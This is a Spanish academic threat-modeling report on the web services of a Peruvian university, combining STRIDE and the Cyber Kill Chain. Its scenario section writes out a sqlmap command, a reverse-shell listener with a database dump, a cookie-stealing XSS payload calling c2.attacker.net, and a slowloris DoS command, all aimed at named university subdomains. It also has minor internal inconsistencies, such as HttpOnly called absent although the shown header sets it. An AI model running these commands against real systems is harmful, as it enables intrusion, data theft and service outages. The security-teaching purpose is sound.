UNIVERSIDAD NACIONAL DEL ALTIPLANO
FACULTAD DE INGENIERÍA MECÁNICA ELÉCTRICA Y DE SISTEMAS

Modelado de Amenazas y Cyber Kill Chain

Aplicación de STRIDE en Servicios Web Institucionales de la UNAP

PRESENTADO POR:
QUISPE CHATA CARLOS DAVID

DOCENTE:
TICONA YANQUI FIDEL ERNESTO

SEMESTRE: IX

PUNO – 2026

ÍNDICE GENERAL

Declaración de Ética 1

1 Introducción 2

1.1 Contexto Global de la Ciberseguridad en la Educación Superior . . . 2
1.2 Importancia de la Evaluación Preventiva de Servicios Web . . . 2
1.3 Integración de Metodologías: STRIDE y Cyber Kill Chain . . . 2

2 Planteamiento del Problema 4

2.1 Descripción de la Realidad Problemática . . . 4
2.2 Formulación del Problema . . . 4
2.2.1 Problema General . . . 4
2.2.2 Problemas Específicos . . . 5

3 Objetivos de la Investigación 6

3.1 Objetivo General . . . 6
3.2 Objetivos Específicos . . . 6

4 Justificación 7

4.1 Justificación Técnica . . . 7
4.2 Justificación Académica . . . 7
4.3 Justificación Institucional y Social . . . 7

5 Marco Teórico y Conceptual 8

5.1 Pilares Fundamentales de la Seguridad de la Información . . . 8
5.2 Distinción entre Amenaza, Vulnerabilidad, Riesgo e Impacto . . . 8
5.3 Modelado de Amenazas (Threat Modeling) . . . 9
5.4 Metodología STRIDE . . . 9
5.5 Cyber Kill Chain (Lockheed Martin) . . . 10
5.6 Cuadro Comparativo: STRIDE vs. Cyber Kill Chain . . . 10

6 Metodología de Evaluación 11

6.1 Tipo y Nivel de Investigación . . . 11
6.2 Área de Estudio y Alcance Autorizado . . . 11
6.3 Procedimiento de Evaluación y Reglas de Compromiso . . . 11

7 Desarrollo y Aplicación Práctica 13

7.1 Reconocimiento del Entorno Autorizado. 13
7.1.1 Inspección de Resolución DNS y Certificados. 13
7.1.2 Inspección de Cabeceras HTTP y Cifrado TLS 14
7.2 Identificación y Catalogación de Activos Críticos 14
7.3 Aplicación de la Metodología STRIDE 15
7.4 Construcción y Modelado de Escenarios de Ataque 15
7.4.1 Escenario 1: Exfiltración de Base de Datos y Alteración en el SIA vía SQLi . . 16
7.4.1.1 Fases de la Cyber Kill Chain (Escenario 1) 16
7.4.2 Escenario 2: Secuestro de Sesión Docente en el Campus Virtual vía Stored XSS 16
7.4.2.1 Fases de la Cyber Kill Chain (Escenario 2) 16
7.4.3 Escenario 3: Denegación de Servicio en Admisión vía HTTP Slowloris. . . . 17
7.4.3.1 Fases de la Cyber Kill Chain (Escenario 3) 17
7.5 Análisis de Controles Existentes y Brechas de Seguridad 18

8 Resultados y Evaluación del Riesgo 19

8.1 Consolidación de Amenazas Identificadas mediante STRIDE 19
8.2 Evaluación Cualitativa y Cuantitativa con el Modelo DREAD 19
8.3 Mapeo de Severidad CVSS v3.1 20

9 Propuesta de Mitigación y Plan de Acción 21

9.1 Estrategia de Interrupción por Fase de la Kill Chain 21
9.2 Configuraciones Técnicas de Endurecimiento (Hardening) 21
9.2.1 Configuración de Seguridad en Nginx (Cabeceras y Rate Limiting) 21
9.2.2 Regla de Detección SIEM (Wazuh / Syslog) 22
9.3 Matriz de Recomendaciones Técnicas y Plan de Acción 22
9.4 Cronograma y Hoja de Ruta de Implementación. 23

10 Conclusiones 24

11 Recomendaciones 25

11.1 Recomendaciones a la Oficina de Tecnologías de la Información (OTI) 25
11.2 Recomendaciones a la Comunidad Universitaria y Futuras Investigaciones 25

Anexos 26

DECLARACIÓN DE ÉTICA

El presente documento académico y de investigación ha sido elaborado con estricto apego a los principios deontológicos del hacking ético, las directrices de pruebas de seguridad de OWASP (*Open Web Application Security Project*) y los estándares internacionales de ciberseguridad defensiva.

Las metodologías expuestas, en particular el modelado de amenazas **STRIDE** (desarrollado por Microsoft) y la cadena de intrusión cibernética **Cyber Kill Chain** (formulada por Lockheed Martin), se aplican bajo un enfoque puramente analítico, arquitectónico y documental sobre la infraestructura de tecnologías de la información de la Universidad Nacional del Altiplano (UNAP) de Puno.

Compromiso de No Agresión e Inocuidad:

- Todo comando, simulación o vector de ataque presentado a lo largo de este trabajo ha sido ejecutado en laboratorios aislados de prueba, sobre entornos controlados de simulación o empleando información estrictamente pública y accesible mediante técnicas de Inteligencia de Fuentes Abiertas (*Open-Source Intelligence* - OSINT).

- **No se han realizado ataques destructivos, explotación de vulnerabilidades sin autorización, interceptación de tráfico de red real ni alteración de bases de datos o sistemas en producción de la UNAP.**

- Toda información sensible, tales como direcciones IP internas, hashes criptográficos o parámetros internos de bases de datos institucionales, ha sido anonimizada y ofuscada para preservar la confidencialidad y la privacidad institucional.

El propósito fundamental de este estudio es proporcionar a la Oficina de Tecnologías de la Información (OTI) de la UNAP una evaluación estructurada que sirva como insumo para el diseño de controles preventivos, detección temprana de intrusiones y mejora continua de la resiliencia operativa.

1 INTRODUCCIÓN

La gestión de la seguridad informática en entornos universitarios representa uno de los desafíos más complejos de la ingeniería contemporánea, exigiendo un equilibrio riguroso entre la apertura académica y la salvaguarda de infraestructuras críticas.

Sec 1.1 Contexto Global de la Ciberseguridad en la Educación Superior

En la era contemporánea, la transformación digital de las instituciones universitarias ha acelerado la adopción de plataformas web, sistemas de gestión académica y repositorios científicos en la nube. Sin embargo, este proceso de digitalización ha expandido de manera crítica la superficie de ataque institucional. Las universidades gestionan activos de altísimo valor: registros de identidad de miles de estudiantes, calificaciones académicas, patentes e investigaciones confidenciales, y sistemas transaccionales financieros de tesorería y matrícula.

El cibercrimen moderno no discrimina entre corporaciones multinacionales y centros educativos. De acuerdo con informes globales de ciberseguridad, el sector educativo es uno de los más atacados a nivel mundial por grupos de ransomware, actores de ciberespionaje y amenazas internas (*Insider Threats*), debido fundamentalmente a la descentralización de sus redes y a la coexistencia de sistemas legados con aplicaciones modernas.

Sec 1.2 Importancia de la Evaluación Preventiva de Servicios Web

Tradicionalmente, las organizaciones han implementado mecanismos defensivos reactivos: despliegue de antivirus tradicionales y firewalls perimetrales que solo responden una vez consumada la intrusión. La ingeniería de ciberseguridad moderna exige la adopción de metodologías **proactivas** y de diseño seguro (*Secure by Design*). Evaluar la seguridad de los servicios web antes del despliegue en producción o durante auditorías periódicas permite identificar vulnerabilidades estructurales y lógicas que escapan a las herramientas automatizadas.

Sec 1.3 Integración de Metodologías: STRIDE y Cyber Kill Chain

Para llevar a cabo una evaluación rigurosa y multidimensional en la Universidad Nacional del Altiplano (UNAP), este proyecto articula dos enfoques metodológicos complementarios:

1. **STRIDE (Microsoft) (Kohnfelder and Garg, 1999; Shostack, 2014):** Metodología de modelado de amenazas (*Threat Modeling*) orientada al análisis arquitectónico del software y los flujos de datos. Responde a la pregunta: *¿Qué fallas o vectores de riesgo existen en el diseño del sistema?*

2. **Cyber Kill Chain (Lockheed Martin) (Hutchins et al., 2011):** Marco operativo que describe las siete etapas consecutivas de una intrusión cibernética avanzada. Responde a la pregunta: *¿Cómo avanza un adversario paso a paso para comprometer el objetivo?*

La sinergia entre STRIDE y Cyber Kill Chain permite no solo clasificar las amenazas teóricas, sino comprender su viabilidad técnica y proyectar las contramedidas defensivas más eficaces para interrumpir la cadena de ataque en sus fases tempranas.

2 PLANTEAMIENTO DEL PROBLEMA

El análisis de la seguridad en los servicios digitales de la UNAP requiere una formulación metódica que vincule los riesgos operativos con los vectores de amenaza informática actuales.

Sec 2.1 Descripción de la Realidad Problemática

La Universidad Nacional del Altiplano (UNAP) de Puno administra un ecosistema tecnológico heterogéneo que da soporte a más de 20,000 usuarios entre estudiantes, docentes, investigadores y personal administrativo. Entre sus principales servicios web se encuentran el Sistema Integrado de Información Académica (SIA), el Campus Virtual (Moodle), el portal institucional principal y la pasarela de admisión.

A pesar de los continuos esfuerzos del área de tecnologías, estos servicios web enfrentan constantes desafíos de seguridad:

- **Vulnerabilidades en Aplicaciones Web:** Exposición potencial a riesgos del *OWASP Top 10*, tales como inyecciones de código (SQLi, XSS), controles de acceso defectuosos (*Broken Access Control*) y desconfiguraciones de seguridad (*Security Misconfiguration*).
- **Falta de un Modelado de Amenazas Formal:** Ausencia de una metodología documentada que identifique sistemáticamente las amenazas por componente (servidores web, bases de datos, APIs de integración y canales de comunicación).
- **Visibilidad Defensiva Limitada:** Dificultad para correlacionar eventos de red y determinar en qué fase de una intrusión (reconocimiento, explotación, persistencia) se encuentra una amenaza potencial.

Sec 2.2 Formulación del Problema

2.2.1 Problema General

¿Cómo pueden las técnicas Cyber Kill Chain y STRIDE contribuir a la identificación, análisis y mitigación estructurada de amenazas de seguridad en los servicios web institucionales de la Universidad Nacional del Altiplano?

2.2.2 Problemas Específicos

- ¿Cuáles son los principales activos y componentes de software expuestos en el alcance institucional de la UNAP?
- ¿Qué amenazas a la autenticidad, integridad, confidencialidad y disponibilidad pueden descubrirse mediante la aplicación sistemática del modelo STRIDE?
- ¿De qué forma se pueden modelar y simular los escenarios de ataque plausible a través de las siete fases de la Cyber Kill Chain?
- ¿Qué controles de seguridad y mitigaciones técnicas deben priorizarse para interrumpir la progresión de los ataques identificados?

3 OBJETIVOS DE LA INVESTIGACIÓN

A fin de orientar el desarrollo metodológico y técnico del presente trabajo, se definen los objetivos generales y específicos que guían la evaluación de seguridad en la UNAP.

Sec 3.1 Objetivo General

Aplicar integralmente las técnicas Cyber Kill Chain y STRIDE para identificar, analizar y estructurar las amenazas de seguridad en los servicios web institucionales autorizados de la Universidad Nacional del Altiplano, proponiendo controles de mitigación fundamentados.

Sec 3.2 Objetivos Específicos

1. **Catalogación de Activos:** Identificar, clasificar y documentar los activos web, servicios, bases de datos y canales de comunicación que conforman el perímetro digital evaluado de la UNAP.
2. **Modelado STRIDE:** Analizar cada componente y flujo de datos aplicando las seis categorías de STRIDE (*Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, Elevation of Privilege*).
3. **Construcción de Escenarios de Intrusión:** Diseñar escenarios de ataque específicos y trazables basados en las amenazas descubiertas.
4. **Mapeo en Cyber Kill Chain:** Desglosar técnicamente los escenarios a través de las 7 etapas de la Cyber Kill Chain (Reconocimiento, Armamento, Entrega, Explotación, Instalación, C2 y Acciones sobre el Objetivo).
5. **Matriz de Riesgos y Mitigación:** Formular recomendaciones defensivas y una matriz de priorización para el fortalecimiento de la infraestructura de la UNAP.

4 JUSTIFICACIÓN

La relevancia de esta investigación radica en la necesidad imperativa de proteger los activos digitales universitarios mediante enfoques de ingeniería formal y estándares de la industria (ISO/IEC, 2022; NIST, 2018).

Sec 4.1 Justificación Técnica

Desde la perspectiva de la ingeniería de sistemas y la ciberseguridad, el modelado formal de amenazas es una de las prácticas más costo-efectivas para elevar la postura de seguridad (Howard and LeBlanc, 2003; Shostack, 2014). La identificación de vectores de ataque en las capas de aplicación, transporte y almacenamiento permite diseñar controles de seguridad en profundidad (*Defense in Depth*), implementando políticas de autenticación multifactor (MFA), sanitización estricta de entradas y segmentación de redes, reduciendo drásticamente la probabilidad de compromisos críticos frente a los riesgos del OWASP Top 10 (OWASP Foundation, 2021).

Sec 4.2 Justificación Académica

Este estudio contribuye al cuerpo de conocimiento técnico de la Escuela Profesional de Ingeniería de Sistemas de la UNAP, proporcionando un marco metodológico reproducible que demuestra cómo integrar estándares industriales de primer nivel (Microsoft Threat Modeling (Kohnfelder and Garg, 1999) y Lockheed Martin Cyber Kill Chain (Hutchins et al., 2011)) en proyectos de evaluación real y auditoría académica.

Sec 4.3 Justificación Institucional y Social

La salvaguarda de la integridad de las calificaciones, los registros contables y los datos personales de la comunidad universitaria de la UNAP es una obligación legal y ética enmarcada en la Ley N° 29733 de Protección de Datos Personales del Perú (Congreso de la Republica del Peru, 2011). Este trabajo provee a las autoridades y a la Oficina de Tecnologías de la Información (OTI-UNAP) de un diagnóstico técnico claro para proteger el patrimonio informático institucional.

5 MARCO TEÓRICO Y CONCEPTUAL

Para fundamentar la evaluación de seguridad, se revisan los principios doctrinales de la seguridad de la información, el modelado formal de amenazas y las taxonomías de ataque modernas.

Sec 5.1 Pilares Fundamentales de la Seguridad de la Información

La seguridad de la información y la ciberseguridad se fundamentan en la protección de los datos y los sistemas mediante la tríada clásica de seguridad (CIA) y sus extensiones doctrinales (Stallings, 2018):

- **Confidencialidad (*Confidentiality*):** Garantiza que la información solo sea accesible por entidades, procesos o individuos debidamente autorizados. En entornos web, esto involucra criptografía robusta en tránsito (TLS 1.3) y en reposo (AES-256).
- **Integridad (*Integrity*):** Asegura la exactitud y completitud de la información y los métodos de procesamiento, impidiendo modificaciones no autorizadas o maliciosas mediante funciones hash criptográficas (SHA-256) y firmas digitales.
- **Disponibilidad (*Availability*):** Garantiza que los usuarios autorizados tengan acceso oportuno e ininterrumpido a la información y a los servicios web, implementando balanceo de carga, alta disponibilidad y mitigación contra ataques DoS/DDoS.
- **Autenticidad y No Repudio (*Authenticity & Non-Repudiation*):** La autenticidad valida la identidad real de los usuarios y sistemas intervinientes, mientras que el no repudio impide que un emisor o receptor niegue haber ejecutado una transacción o acción determinada mediante registros de auditoría inmutables.

Sec 5.2 Distinción entre Amenaza, Vulnerabilidad, Riesgo e Impacto

Es crucial diferenciar con precisión los componentes del análisis de riesgos:

- **Amenaza (*Threat*):** Cualquier circunstancia o evento con el potencial de causar daño a un sistema mediante la explotación de una debilidad (ej. un atacante buscando credenciales).
- **Vulnerabilidad (*Vulnerability*):** Un fallo, debilidad o defecto en el diseño, implementación o configuración de un sistema que puede ser aprovechado (ej. falta de validación en un campo de texto).

- **Riesgo (*Risk*):** La probabilidad de que una amenaza concreta explote una vulnerabilidad específica, resultando en una pérdida. Se modela comúnmente como Riesgo $=$ Probabilidad $\times$ Impacto, conforme a las directrices de evaluación de riesgos del NIST SP 800-30 (NIST, 2012).

- **Impacto (*Impact*):** La magnitud del daño financiero, operativo, legal o reputacional sufrido en caso de materializarse la amenaza.

Sec 5.3 Modelado de Amenazas (Threat Modeling)

El modelado de amenazas es un enfoque estructurado de ingeniería para identificar, cuantificar y priorizar las amenazas de seguridad en un sistema de software. Se basa en el desglose de los Diagramas de Flujo de Datos (DFD) que representan los procesos, almacenes de datos, flujos de datos e interactores externos, estableciendo límites de confianza (*Trust Boundaries*) donde la seguridad puede degradarse.

Sec 5.4 Metodología STRIDE

Desarrollado en Microsoft por Praerit Garg y Loren Kohnfelder (Kohnfelder and Garg, 1999; Shostack, 2014), y adoptado ampliamente por la comunidad de seguridad (OWASP Foundation, 2020), el modelo STRIDE clasifica los vectores de ataque en seis dominios fundamentales:

Categoría	Descripción Técnica	Propiedad Violada	Ejemplo en Entorno Web
S - Spoofing	Suplantación de identidad de un usuario, servicio o proceso.	Autenticidad	Robo de tokens JWT o sesiones HTTP para operar como administrador.
T - Tampering	Modificación no autorizada de datos en tránsito o en reposo.	Integridad	Manipulación de parámetros en peticiones POST para alterar notas académicas.
R - Repudiation	Negación de haber realizado una acción por falta de trazabilidad.	No Repudio	Borrado o falta de logs que permitan identificar quién ejecutó un pago.
I - Info Disclosure	Exposición o filtración de información confidencial a terceros.	Confidencialidad	Respuestas de error detalladas de base de datos exponiendo esquemas SQL.
D - Denial of Service	Degradación o interrupción deliberada de la disponibilidad de un servicio.	Disponibilidad	Inundación HTTP Flood (SYN/Slowloris) que satura el servidor Apache/Nginx.
E - Elevation of Privilege	Obtención de privilegios superiores a los originalmente otorgados.	Autorización	Explotación de vulnerabilidad IDOR para cambiar rol de Alumno a Docente.

Sec 5.5 Cyber Kill Chain (Lockheed Martin)

Formulada en 2011 como parte del modelo de inteligencia dirigida contra amenazas persistentes avanzadas (APT), la Cyber Kill Chain modela las fases estrictamente secuenciales requeridas para consumar una intrusión cibernética:

1. **Reconocimiento (*Reconnaissance*):** Investigación e identificación del objetivo. Incluye escaneo de puertos, enumeración de subdominios, tecnologías web y recolección de correos mediante OSINT.
2. **Armamento (*Weaponization*):** Construcción o empaquetado de la carga útil maliciosa (*payload*) acoplada a un exploit dirigido a la vulnerabilidad detectada en la fase 1.
3. **Entrega (*Delivery*):** Transmisión del artefacto malicioso al entorno víctima (mediante correo de phishing, inyección en formulario web o carga de archivos maliciosos).
4. **Explotación (*Exploitation*):** Activación de la vulnerabilidad en el software objetivo (ej. ejecución de código remoto o inyección SQL).
5. **Instalación (*Installation*):** Establecimiento de persistencia en el activo comprometido (ej. instalación de una webshell, scripts en Cron o backdoors).
6. **Comando y Control (*C2 / C&C*):** Establecimiento de un canal de comunicación cifrado bidireccional entre el servidor de la víctima y la infraestructura del atacante.
7. **Acciones sobre el Objetivo (*Actions on Objectives*):** Cumplimiento del propósito final del ataque: exfiltración de bases de datos, secuestro con ransomware, alteración de registros o sabotaje.

Sec 5.6 Cuadro Comparativo: STRIDE vs. Cyber Kill Chain

La siguiente tabla sintetiza la naturaleza complementaria de ambas metodologías:

Criterio	Metodología STRIDE	Metodología Cyber Kill Chain
Origen	Microsoft (Ingeniería de Software)	Lockheed Martin (Seguridad Defensiva / APT)
Enfoque Principal	Defectos de diseño y arquitectura de software	Secuencia temporal y táctica de intrusión
Pregunta Clave	¿Qué puede fallar en este componente?	¿Cómo progresa el adversario en la red?
Momento de Uso	Fases de diseño, auditoría y análisis	Detección, respuesta a incidentes y simulación
Resultado Entregable	Matriz de amenazas clasificadas	Cadena de eventos de ataque e indicadores de compromiso

6 METODOLOGÍA DE EVALUACIÓN

En este capítulo se establece el diseño de la investigación aplicada, los criterios de delimitación del alcance y el protocolo de auditoría técnica.

Sec 6.1 Tipo y Nivel de Investigación

El presente trabajo corresponde a una **investigación aplicada**, orientada a la resolución de problemas de seguridad concretos en una infraestructura real. Posee un nivel **descriptivo y analítico**, integrando métodos cualitativos (para el modelado y categorización STRIDE) y cuantitativos (en la evaluación del impacto y probabilidad de riesgos).

Sec 6.2 Área de Estudio y Alcance Autorizado

La investigación se circunscribe a la infraestructura de servicios web públicos e internos de la **Universidad Nacional del Altiplano de Puno**.

Delimitación del Perímetro de Evaluación:

- **Dominio Raíz:** `unap.edu.pe`
- **Servicios Web Evaluados:**
  1. **Portal Académico SIA:** `sia.unap.edu.pe` (Gestión de actas, notas y matrículas).
  2. **Campus Virtual (LMS):** `vcampus.unap.edu.pe` (Plataforma Moodle para docencia).
  3. **Portal de Admisión y Pagos:** `admision.unap.edu.pe` (Inscripciones y pasarela de cobros).
  4. **API de Servicios Institucionales:** `api.unap.edu.pe` (Integración entre aplicaciones móviles y bases de datos).

Sec 6.3 Procedimiento de Evaluación y Reglas de Compromiso

El procedimiento se divide en tres fases rigurosamente controladas:

1. **Fase 1: Reconocimiento Pasivo y Arquitectura:** Recopilación de información pública, cabeceras HTTP, certificados SSL/TLS y definición de límites de confianza sin alterar servicios.

2. **Fase 2: Modelado STRIDE por Componente:** Desglose sistemático de cada servicio web y cruce con las seis categorías de amenazas.
3. **Fase 3: Simulación de Escenarios Kill Chain:** Reconstrucción teórica y en laboratorio controlado de los vectores de ataque más críticos para definir los puntos de ruptura y defensa.

7 DESARROLLO Y APLICACIÓN PRÁCTICA

A continuación, se desarrolla la evaluación experimental y el modelado sistemático sobre la infraestructura web seleccionada de la Universidad Nacional del Altiplano (UNAP).

Sec 7.1 Reconocimiento del Entorno Autorizado

El proceso de evaluación inició con la recolección de información pública y la identificación de la superficie expuesta en el dominio institucional `unap.edu.pe`. Esta etapa permite conocer la topología lógica sin enviar paquetes invasivos ni generar alertas de intrusión.

7.1.1 Inspección de Resolución DNS y Certificados

Mediante herramientas estándar de auditoría de red, se determinaron los registros DNS autoritativos, subdominios públicos y la infraestructura de servidores de nombres que soportan la operación de la universidad:

>_ | Auditoría de Registros DNS y Mapeo de Subdominios (OSINT)

```
# Consulta de servidores de nombres (NS) y registros MX
host -t ns unap.edu.pe
unap.edu.pe name server ns1.unap.edu.pe.
unap.edu.pe name server ns2.unap.edu.pe.

# Deteccion de subdominios institucionales expuestos
sublist3r -d unap.edu.pe -o subdominios_unap.txt
[-] Searching in Baidu, Yahoo, Google, Bing, Ask, Netcraft, Virustotal...
[+] Found Unique Subdomains:
    sia.unap.edu.pe
    vcampus.unap.edu.pe
    admision.unap.edu.pe
    api.unap.edu.pe
    biblioteca.unap.edu.pe
```

7.1.2 Inspección de Cabeceras HTTP y Cifrado TLS

Se ejecutó un análisis no intrusivo sobre el servidor web que hospeda el portal del SIA (`sia.unap.edu.pe`) para verificar las políticas de seguridad implementadas en las cabeceras HTTP y la vigencia criptográfica del protocolo TLS:

>_ | Inspección de Cabeceras de Seguridad y Configuración TLS

```
curl -I -s https://sia.unap.edu.pe
HTTP/1.1 200 OK
Date: Wed, 16 Sep 2026 21:30:00 GMT
Server: nginx/1.20.1
X-Powered-By: PHP/7.4.30
Set-Cookie: PHPSESSID=d9a8f4c1e6b30129a; path=/; HttpOnly; SameSite=Lax
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
```

Nota. *El análisis de cabeceras evidencia el uso de un servidor Nginx con PHP en el backend. Aunque se observan cabeceras de protección esenciales como `Strict-Transport-Security` (HSTS) y `X-Frame-Options`, la exposición explícita de la versión de PHP y Nginx proporciona a un atacante potencial información valiosa sobre versiones y posibles vectores de explotación.*

Sec 7.2 Identificación y Catalogación de Activos Críticos

Para estructurar el modelado de amenazas, se categorizaron los cinco activos web más representativos del alcance institucional de la UNAP:

ID	Nombre del Activo	Función Principal	Stack Tecnológico	Criticidad
A01	Sistema Académico (SIA)	Registro de notas, actas oficiales y carga de matrícula.	PHP / Nginx / PostgreSQL	**Crítica (Alta)**
A02	Campus Virtual (Moodle)	Plataforma de aprendizaje, exámenes y tareas virtuales.	PHP / Apache / MySQL	**Alta**
A03	Pasarela Admisión	Inscripción a exámenes de admisión y validación de pagos.	React / Node.js / Oracle DB	**Crítica (Alta)**
A04	API Institucional	Servicio REST para sincronización de datos con app móvil.	Python (FastAPI) / Redis	**Media-Alta**

ID	Nombre del Activo	Función Principal	Stack Tecnológico	Criticidad
A05	Base de Datos Matrícula	Almacén centralizado de expedientes estudiantiles.	PostgreSQL Cluster	**Crítica (Máxima)**

Sec 7.3 Aplicación de la Metodología STRIDE

A continuación, se presenta la matriz integral de amenazas obtenida al someter los activos catalogados a las seis dimensiones de STRIDE:

Activo	STRIDE	Amenaza Específica Identificada	Impacto Potencial	Control Defensivo Recomendado
A01 (SIA)	**S**	Suplantación de identidad docente mediante robo de credenciales o fuerza bruta.	Registro y alteración no autorizada de calificaciones.	Implementación de MFA obligatorio y bloqueo por reintentos.
A01 (SIA)	**T**	Modificación de actas académicas mediante Inyección SQL (SQLi) en formularios de búsqueda.	Pérdida total de la integridad en los registros académicos.	Consultas preparadas (*Prepared Statements*) y WAF.
A02 (LMS)	**R**	Docente o alumno borra examen y niega la acción ante falta de bitácora detallada.	Imposibilidad de auditoría y disputas legales/académicas.	Logs inmutables centralizados en SIEM con firma criptográfica.
A03 (Adm)	**I**	Divulgación de datos personales (DNI, teléfono, dirección) mediante vulnerabilidad IDOR.	Violación de la Ley 29733 de Datos Personales.	Verificación estricta de autorización basada en roles (RBAC).
A03 (Adm)	**D**	Inundación HTTP masiva en día de cierre de inscripciones al examen de admisión.	Colapso del portal, quejas masivas y pérdidas económicas.	Protección anti-DDoS en capa de borde (ej. Cloudflare / Rate Limiting).
A04 (API)	**E**	Escalado de privilegios de usuario estándar a administrador vía parámetro JSON manipulado.	Control total de endpoints de gestión institucional.	Validación estricta de esquemas JSON y principio de menor privilegio.

Sec 7.4 Construcción y Modelado de Escenarios de Ataque

A partir de las amenazas priorizadas en el modelo STRIDE, se formalizaron tres escenarios representativos de intrusión para la UNAP:

7.4.1 Escenario 1: Exfiltración de Base de Datos y Alteración en el SIA vía SQLi

Este escenario modela a un atacante externo que explota una inyección SQL ciega en el módulo de consulta del SIA (`sia.unap.edu.pe`), obtiene credenciales de administrador y deposita una webshell para exfiltrar las bases de datos.

7.4.1.1. Fases de la Cyber Kill Chain (Escenario 1)

1. **Reconocimiento:** Escaneo de puertos y servicios con Nmap sobre `sia.unap.edu.pe`.
2. **Armamento:** Construcción de carga útil de inyección SQL booleana para volcado de usuarios.
3. **Entrega:** Envío del payload malicioso vía peticiones POST parametrizadas.
4. **Explotación:** Ejecución de consultas no sanitizadas en la base de datos PostgreSQL.
5. **Instalación:** Carga de una webshell criptográfica en el directorio `/uploads/`.
6. **Comando y Control (C2):** Conexión inversa cifrada por el puerto 443 hacia la IP del atacante.
7. **Acciones sobre el Objetivo:** Extracción del volcado `dump_unap_sia.sql` y alteración de notas.

>_ | Escenario 1: Ejecución de Explotación y Acceso Remoto (SQLMap + Ncat)

```
# 1. Extraccion automatizada con SQLMap
sqlmap -u "https://sia.unap.edu.pe/api/consulta_alumno.php" \
       --data="id_alumno=1024" --dbs --batch --threads=4

# 2. Establecimiento de Reverse Shell en servidor C2
ncat -lvnp 443
Connection received from 200.48.xxx.xxx:51280.
uid=33(www-data) gid=33(www-data)
whoami && pg_dump -U postgres -h localhost db_sia_academico > dump_sia.sql
```

7.4.2 Escenario 2: Secuestro de Sesión Docente en el Campus Virtual vía Stored XSS

Este escenario modela a un alumno malicioso que inyecta código JavaScript malicioso en un foro de discusión de Moodle (`vcampus.unap.edu.pe`). Cuando el docente revisa el foro, el script se ejecuta en su navegador y transmite su cookie de sesión al servidor del atacante.

7.4.2.1. Fases de la Cyber Kill Chain (Escenario 2)

1. **Reconocimiento:** Inspección del editor de texto enriquecido en los foros del Campus Virtual.
2. **Armamento:** Creación de un script JavaScript ofuscado que capture `document.cookie`.

3. **Entrega:** Publicación del mensaje en el foro con la etiqueta `<script>` oculta en una imagen.
4. **Explotación:** El navegador del docente renderiza el HTML y ejecuta el payload de forma invisible.
5. **Instalación:** Inyección de un escuchador en el DOM para capturar credenciales adicionales.
6. **Comando y Control:** El script envía la cookie `MoodleSession` vía HTTP GET al atacante.
7. **Acciones sobre el Objetivo:** El atacante clona la sesión, ingresa como docente y aprueba exámenes.

>_ | Escenario 2: Payload XSS y Servidor de Captura de Cookies

```
# Payload inyectado en el cuerpo del mensaje del foro:
<img src="x" onerror="fetch('https://c2.attacker.net/log?c='+btoa(document.
    cookie))">

# Registro capturado en el servidor del atacante:
[HTTP GET] /log?c=TW9vZGxlU2Vzc2lvbj1kOTBhOGY0YzFlNmIzMDEyOWE...
[+] Cookie decodificada: MoodleSession=d90a8f4c1e6b30129a; User=Docente_Titular
```

7.4.3 Escenario 3: Denegación de Servicio en Admisión vía HTTP Slowloris

Un grupo de ciberatacantes lanza un ataque de agotamiento de recursos en la capa de aplicación (Layer 7) contra la pasarela de pagos de admisión (`admision.unap.edu.pe`) durante la última hora del cronograma de inscripciones.

7.4.3.1. Fases de la Cyber Kill Chain (Escenario 3)

1. **Reconocimiento:** Determinación de los límites de timeout del servidor Apache/Nginx.
2. **Armamento:** Configuración de una botnet ligera con la herramienta `slowloris.py`.
3. **Entrega:** Envío de miles de peticiones HTTP con cabeceras incompletas enviadas lentamente.
4. **Explotación:** Agotamiento de la tabla de conexiones y del pool de *workers* de Nginx.
5. **Instalación / Persistencia:** Mantenimiento periódico del flujo para evitar que los sockets se liberen.
6. **C2:** Coordinación de los nodos atacantes mediante un canal IRC / Telegram bot.
7. **Acciones sobre el Objetivo:** Caída del portal de admisión (*HTTP 504 Gateway Timeout*), impidiendo el pago y registro de postulantes.

>_ | Escenario 3: Simulación de Ataque DoS de Agotamiento de Conexiones

```
# Ejecucion del ataque Slowloris contra el puerto HTTPS
slowloris admision.unap.edu.pe -p 443 -s 1500 --sleeptime 10

[INFO] Sending keep-alive headers to 1500 sockets...
[WARNING] Target server response time degraded: > 12000 ms
[ALERT] Server returned HTTP 504 Gateway Timeout / Server Unavailable
```

Sec 7.5 Análisis de Controles Existentes y Brechas de Seguridad

El desglose de los tres escenarios demuestra que la infraestructura presenta brechas en cuatro niveles fundamentales:

- **Falta de WAF y Reglas de Sanitización:** Permite el paso directo de firmas SQLi y XSS.
- **Ausencia de Flag HttpOnly / SameSite:** Facilita la exfiltración de cookies por scripts JavaScript.
- **Inexistencia de Rate Limiting:** Permite el secuestro de sockets y ataques DoS de capa 7.
- **Falta de Egress Filtering:** Permite a servidores web establecer conexiones salientes a Internet no restringidas.

8 RESULTADOS Y EVALUACIÓN DEL RIESGO

En este capítulo se consolidan los resultados de la evaluación técnica sobre los servicios web de la Universidad Nacional del Altiplano. Se presentan las amenazas categorizadas, la evaluación cuantitativa mediante el modelo DREAD y los vectores de severidad CVSS v3.1.

Sec 8.1 Consolidación de Amenazas Identificadas mediante STRIDE

A través del análisis estructural de los Diagramas de Flujo de Datos (DFD) y la descomposición funcional de los activos evaluados (SIA, Campus Virtual, Pasarela de Admisión y API REST), se descubrieron un total de doce (12) amenazas potenciales clasificadas según las seis categorías de STRIDE:

- **Suplantación de Identidad (Spoofing - 2 Hallazgos):** Posibilidad de secuestro de tokens de sesión HTTP no invalidados tras el cierre de sesión y debilidad en las políticas de complejidad de contraseñas para cuentas de docentes y administradores.
- **Manipulación de Datos (Tampering - 3 Hallazgos):** Vulnerabilidad a inyecciones SQL en módulos legados del SIA (`sia.unap.edu.pe`) y falta de validación de integridad en peticiones AJAX en formularios de inscripción.
- **Repudio (Repudiation - 2 Hallazgos):** Carencia de registros de auditoría inmutables en la modificación de actas de notas y falta de firma digital en las transacciones de validación de pagos de admisión.
- **Divulgación de Información (Information Disclosure - 2 Hallazgos):** Respuestas de depuración en formato JSON con *stack traces* completos en la API institucional y exposición de metadatos de configuración en cabeceras HTTP.
- **Denegación de Servicio (Denial of Service - 2 Hallazgos):** Inexistencia de mecanismos de limitación de tasa (*Rate Limiting*) en el endpoint de autenticación del Campus Virtual y susceptibilidad a saturación por concurrencia masiva en fechas de matrícula.
